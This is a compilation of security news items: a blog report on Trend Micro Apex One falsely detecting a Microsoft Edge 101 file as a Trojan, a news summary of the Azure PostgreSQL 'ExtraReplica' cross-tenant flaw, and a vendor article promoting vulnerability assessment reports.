Microsoft has updated the Chromium Edge browser to version Edge 101.0.1210.32 as of April 28, 2022. This is a maintenance update that closes the two vulnerabilities CVE-2022-29146(privilege elevation) and CVE-2022-29147 (information retrieval) (see also the release notes for the new version). In addition, a number of CVEs that have already been fixed in Google Chrome have also been included in the Edge update. I had reported on this in the blog post Microsoft Edge 101.0.1210.32.

hat zum 28. April 2022 den Chromium-Edge Browser auf die Version Edge 101.0.1210.32 aktualisiert. Es handelt sich um ein Wartungsupdate, das die beiden Schwachstellen (Privilegienerhöhung) und (Abrufen von Informationen) schließt (siehe auch die Release Notes-Seite zur neuen Version). Zudem wurden eine Reihe CVEs, die bereits im Google Chrome gefixt wurden, auch im Edge-Update berücksichtigt. Ich hatte im Blog-Beitrag Microsoft Edge 101.0.1210.32 Sicherheitsupdate darüber berichtet.

Trend Micro Apex One false positive alarm

Since today, May 3, 2022, I’ve been getting more and more feedback from administrators on my blog about Trend Micro’s Apex One security solution raising a false alarm and supposedly detecting a Trojan. The first German comment here already describes the situation:

The update causes a false positive on Trend Micro Apex One!

All of our client agents are currently alerting on the automatic update, pointing to the following file:

C:\Program Files (x86)\Microsoft\Edge\Application\101.0.1210.32\msedge_200_percent.pak

Virus/Malware: TROJ_FRS.VSNTE222
Virus/Malware: TSC_GENCLEAN

We are currently analyzing the incident and therefore we cannot give exact information about it yet.

The whole thing is confirmed by other administrators. The file msedge_200_percent.pak from Edge 101.0.1210.32 is reported as
“TROJ_FRS.VSNTE222”. Reader Thomas uploaded the file to Virustotal. Only Trend Micro recognizes it as a virus. Peter L. reports here that also the registry entry:

HKEY_USERS\$SID\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop\NoChangingWallpaper

ris changed. Based on what is known so far, this is likely to be a false positive.

Advertising

Forum thread at Trend Micro

Since a few minutes there is also this thread at Trend Micro in the forum, where a user also complains about this false alarm in Edge.

we are getting this message from every client since several minutes.
Is it a false positiv error or do we have a real trojaner problem ?
Virus/Malware: TROJ_FRS.VSNTE222
Endpoint: W10NBSV066
Domain: xxxxx\Workstations\Group5\
File: C:\Program Files (x86)\Microsoft\Edge\Application\101.0.1210.32\msedge_200_percent.pak
Date/Time: 5/3/2022 11:17:51
Result: Action required – Apex One detect

The whole thing is also confirmed by numerous users there. One user there confirmed that the malware team was informed about the false alarm and was working on an update.

Hi Team,
Our Malware Team are already aware of these False Alarms and is currently checking the issue. Will provide an update once we receive new feedbacks.
Best regards,
Paulo Obrero
Customer Service Engineer
Trend Micro Inc.

All that remains is to wait until the update arrives – and in the meantime to declare the file in question as an exception.

Source :
https://borncity.com/win/2022/05/03/trend-micro-apex-one-lst-fehlalarm-beim-microsoft-edge-101-0-1210-32-aus/

Microsoft Azure Vulnerability Exposes PostgreSQL Databases to Other Customers

Microsoft on Thursday disclosed that it addressed a pair of issues with the Azure Database for PostgreSQL Flexible Server that could result in unauthorized cross-account database access in a region.

“By exploiting an elevated permissions bug in the Flexible Server authentication process for a replication user, a malicious user could leverage an improperly anchored regular expression to bypass authentication to gain access to other customers’ databases,” Microsoft Security Response Center (MSRC) said.

New York City-based cloud security company Wiz, which uncovered the flaws, dubbed the exploit chain “ExtraReplica.” Microsoft said it mitigated the bug within 48 hours of disclosure on January 13, 2022.

Specifically, it relates to a case of privilege escalation in the Azure PostgreSQL engine to gain code execution and a cross-account authentication bypass by means of a forged certificate, allowing an attacker to create a database in the target’s Azure region and exfiltrate sensitive information.

In other words, successful exploitation of the critical flaws could have enabled an adversary to gain unauthorized read access to other customers’ PostgreSQL databases, effectively circumventing tenant isolation.

Wiz traced the privilege escalation to a bug stemming as a result of modifications introduced in the PostgreSQL engine to harden its privilege model and add new features. The name ExtraReplica comes from the fact that the exploit leverages a PostgreSQL feature that permits copying database data from one server to another, i.e., “replicating” the database.

The Windows maker described the security vulnerability as affecting PostgreSQL Flexible Server instances deployed using the public access networking option, but stressed that it did not find evidence of the flaw being actively exploited and that no customer data was accessed.

“No action is required by customers,” MSRC said. “In order to further minimize exposure, we recommend that customers enable private network access when setting up their Flexible Server instances.”

Source :
https://thehackernews.com/2022/04/microsoft-azure-vulnerability-exposes.html

Everything you need to know to create a Vulnerability Assessment Report

You’ve been asked for a Vulnerability Assessment Report for your organisation and for some of you reading this article, your first thought is likely to be “What is that?”

Worry not. This article will answer that very question as well as why you need a Vulnerability Assessment Report and where you can get one from.

As it’s likely the request for such a report came from an important source such as the Board, a partner, a client or an auditor, there isn’t a moment to waste. So let’s drive straight in.

What is a Vulnerability Assessment Report and why do you need one?

A Vulnerability Assessment Report is simply a document that illustrates how you are managing your organisation’s vulnerabilities. It’s important because, with tens of thousands of new technology flaws being discovered every year, you need to be able to prove that your organisation does its best to avoid attack if you want to be trusted by partners and customers.

A best security practice recommended by governments across the world, a vulnerability assessment is an automated review process that provides insights into your current security state. The vulnerability assessment report is the outcome of this review. Used as a roadmap to a better state of security preparedness, it lays out the unique risks your organisation is up against due to the technology you use, and reveals how best to overcome them with minimal disruption to your core business strategy and operations.

The help it provides is clear but why do you need one? As mentioned above, it’s likely you were asked for a Vulnerability Assessment Report by the Board, a partner, a client or an auditor as each of these groups needs reassurance that you’re on top of any weaknesses in your infrastructure. Here’s why:

— Customers need to trust you

Weaknesses in your IT systems could affect your customers’ operations. With supply chain attacks on the rise, a vulnerability in a single company could leave the whole range of organizations paralysed, as demonstrated by the infamous SolarWinds hack last year.

It doesn’t matter how small your business is; if your customers will be entrusting you with any of their data, they may wish for a Vulnerability Assessment Report first to confirm that your IT security practices are tiptop.

— The Board wants a better understanding of the business’ risk

Cyber security is a growing concern across many businesses, so chances are your board members want to take a better grip of their risk, before the lack of insights into vulnerabilities is turned into a much more serious business problem. With ransomware attacks regularly making headlines, having proper vulnerability management in place and presenting an “all clear” report, can give your business heads that needed peace of mind.

— Your auditors are checking for compliance

Many of the regulatory or compliance frameworks related to security and privacy, like SOC2, HIPAA, GDPR, ISO 27001, and PCI DSS, advise or outright require regular compliance scans and reporting, so if the request for a vulnerability assessment report was made by your auditor, it is likely to be for compliance purposes.

— Your CFO is renewing your cyber insurance

It could be the case that your insurance provider is seeking a vulnerability assessment report as part of the underwriting process. If you don’t want to run the risk of being denied your insurance payment or wouldn’t like to see your premiums rise, then you could benefit from supplying these reports regularly.

How often do you need to produce a vulnerability assessment report?

Regularly. Think of it like vulnerability scanning: For maximum efficacy, you need to conduct regular, if not constant, comprehensive evaluations of your entire technology stack, otherwise you could miss something that could bring your business to a costly halt.

Cybercriminals do not stop searching until they find something they can take advantage of. You need to scan your systems continuously and have up to date reporting to reflect your vigilance as and when it’s needed.

Modern vulnerability scanning solutions, like Intruder, will give you a cyber hygiene score which enables you to track the progress of your vulnerability management efforts over time, proving that your security issues are being continuously resolved in good time.‍

A vulnerability assessment report from Intruder, to provide evidence to your customers or regulators that a vulnerability scanning process is in place.

What should be included in a vulnerability assessment report?

Unfortunately, there isn’t a one size fits all report. While the contents are generally the number of vulnerabilities detected in your systems at a point in time, your different stakeholders will require varying levels of detail. Even for compliance purposes, vulnerability assessment reporting requirements can differ.

As a good rule of thumb, we recommend building an Executive Report containing graph views and composite cyber hygiene scores for the Board and C-Suite that clue them in on where they stand at any given moment. And for your IT team, their report needs greater detail such as how to apply the correct solutions to existing problems and sidestep subsequent mistakes.

Where can you get a Vulnerability Assessment Report from?

Ensuring your Vulnerability Assessment Reports contain all the elements and information your stakeholders require can take a lot of work and expertise; which can distract your security teams from other activities that will keep your organisation secure. That is why it’s recommended to choose an external provider to produce your reports.

Before you start comparing individual vendors, make sure you have a solid understanding of your technical environment and of the specific outcomes that the vulnerability assessment should present. This is because vulnerability assessment tools are not built the same; they check for different types of weaknesses, so you need to choose the solution that best suits your requirements. Consider the features and checks you’ll require, as well as the industry standards you need to follow and your budget.

Two key elements to consider relate to reporting: firstly, how flexible the assessment provider will be with how much detail is presented (particularly if you need to present data to different audiences); and secondly, how clearly the results are communicated. Scanning results can be overwhelming but the right vendor will demystify complex security data to grant you a clear, jargon-free understanding of the risks you face.

At Intruder, reports are designed to be well-understood, whilst also maintaining all the technical detail required by IT managers and DevOps teams. Whether you’re a massive enterprise or a fledgling startup, you can generate rapid reports, create compliance paper trails, stay secure, and communicate with employees and potential investors. Intruder offers a free trial of its software, which you can activate here. Get vulnerability assessment reporting in place now.

Source :
https://thehackernews.com/2022/04/everything-you-need-to-know-to-create.html